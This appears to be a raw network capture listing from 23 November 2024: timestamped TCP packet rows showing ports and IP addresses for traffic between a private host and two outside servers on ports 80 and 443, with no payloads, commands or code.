Nov 23, 2024 03:21:13.607333899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.607460022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.607516050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.608469009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.608562946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.608576059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.608616114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.609605074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.609649897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.609695911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.609740019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.610744953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.610790968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.610835075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.610877037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.611875057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.611978054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.612008095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.612051010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.613010883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.613178968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.613234997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.614168882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.614265919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.614334106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.615283012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.615392923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.615406990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.615438938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.616430998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.616475105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.616604090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.616652012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.617572069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.617619038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.617669106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.617711067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.618712902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.618760109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.618799925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.618844032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.619849920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.619909048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.619920969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.619961023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.620974064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.621017933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.621066093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.621110916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.622138977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.622257948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.622317076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.623262882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.623369932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.623423100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.624399900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.624480009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.624507904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.624564886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.625529051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.625571966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.625617981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.625682116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.626683950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.626802921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.626851082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.627830982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.627877951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.627933025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.628036022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.628957033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.629000902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.629046917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.629093885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.630094051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.630218029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.630275965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.631247997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.631403923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.631453991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.632379055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.632427931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.632474899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.632519960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.633512974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.633558989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.633614063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.633956909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.634639025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.634685993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.634732008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.634776115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.635796070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.635870934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.635893106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.635935068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.636923075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.636966944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.637013912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.637059927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.638067961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.638194084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.638256073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.639199972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.639300108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.639353037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.640337944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.640389919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.640428066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.640470982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.641464949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.641509056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.641560078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.641602993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.642622948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.642669916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.642735004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.642781019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.643739939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.643789053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.643836975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.643883944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.644882917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.645024061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.645087004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.646039963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.646177053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.646234035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.647185087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.647232056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.647304058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.647350073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.648323059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.648370028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.648427010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.648471117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.649461031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.649503946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.649558067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.649600029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.650583029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.650700092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.650747061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.651726961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.651849985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.651895046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.652858019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.652901888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.652964115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.653016090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.654011965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.654058933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.654136896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.654256105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.655131102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.655201912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.655244112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.655287027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.656301975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.656400919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.656444073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.657408953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.657530069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.657586098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.658569098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.658744097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.658793926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.659708023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.659759998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.659805059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.659921885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.660829067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.660926104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.660953045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.660998106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.661977053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.662028074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.662092924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.662134886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.663047075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.663094997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.737879038 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.738466978 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.738477945 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.738828897 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.738832951 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.790225029 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.790600061 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.790668011 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.791086912 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.791100025 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.800565958 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.800903082 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.800935984 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.801292896 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.801307917 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.801867008 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.802021027 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.802153111 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.802184105 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.802200079 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.802207947 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.802213907 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.804583073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.804697037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.804716110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.804733992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.804949045 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.804990053 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.805063009 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.805150986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.805176973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.805212021 CET	49771	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.805224895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.805229902 CET	443	49771	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.806278944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.806327105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.806374073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.806416035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.807426929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.807471991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.807537079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.807596922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.808551073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.808598995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.808646917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.808691978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.809683084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.809730053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.809794903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.809839010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.810834885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.810880899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.810921907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.810965061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.811970949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.812017918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.812062979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.812108040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.813106060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.813150883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.813194990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.813246012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.813247919 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.813577890 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.813596964 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.814017057 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.814028978 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.814241886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.814287901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.814335108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.814378023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.815388918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.815433979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.815483093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.815526962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.816543102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.816586971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.816646099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.816689014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.817652941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.817697048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.817748070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.817790031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.818793058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.818836927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.818898916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.818941116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.819927931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.819972992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.820050001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.820101976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.821067095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.821110964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.821175098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.821217060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.822230101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.822276115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.822321892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.822391033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.823340893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.823385954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.823478937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.823515892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.824505091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.824554920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.824592113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.824632883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.825638056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.825681925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.825758934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.825800896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.826771021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.826816082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.826889992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.826932907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.827908993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.827954054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.827997923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.828039885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.829037905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.829082012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.829147100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.829209089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.830188990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.830260038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.830298901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.830368042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.831334114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.831381083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.831458092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.831501007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.832462072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.832505941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.832583904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.832628012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.833591938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.833636999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.833679914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.833720922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.834738970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.834784031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.834837914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.834928036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.835876942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.835923910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.835968018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.836018085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.836998940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.837042093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.837121964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.837166071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.838151932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.838195086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.838251114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.838294983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.839278936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.839329004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.839397907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.839441061 CET	49760	80	192.168.2.4	31.41.244.11
